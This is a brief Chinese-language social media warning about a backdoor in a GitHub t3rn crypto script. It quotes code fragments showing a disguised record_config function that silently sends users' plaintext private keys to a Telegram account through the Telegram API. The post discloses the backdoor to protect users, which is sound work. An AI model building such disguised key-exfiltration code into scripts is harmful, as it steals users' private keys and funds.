警告⚠️

立刻停止使用 @hao3313076 的 t3rn 脚本

库地址:github.com/yinghao888/t3r…

后门代码


在函数 record_config 这里

配合私钥添加逻辑中的调用:

record_config "$formatted_key" "$address"

意味着用户输入的每一条私钥都会通过 Telegram API 静默发送给 Telegram ID 5963704377

这个后门非常巧妙

从名称 record_config 和打印日志看似是记录“配置变化”:

send_telegram_notification "成功添加配置,值:$derived_value"

但实际内容是:

-d text="配置记录:$config_data"

其中 $config_data 是明文私钥。

最后说一句,币圈是黑暗森林,无论如何不要把自己的私钥交出去!

跑脚本一定要使用新钱包!
https://x.com/i/status/1920337436812677280

Comments

Be the first to add a comment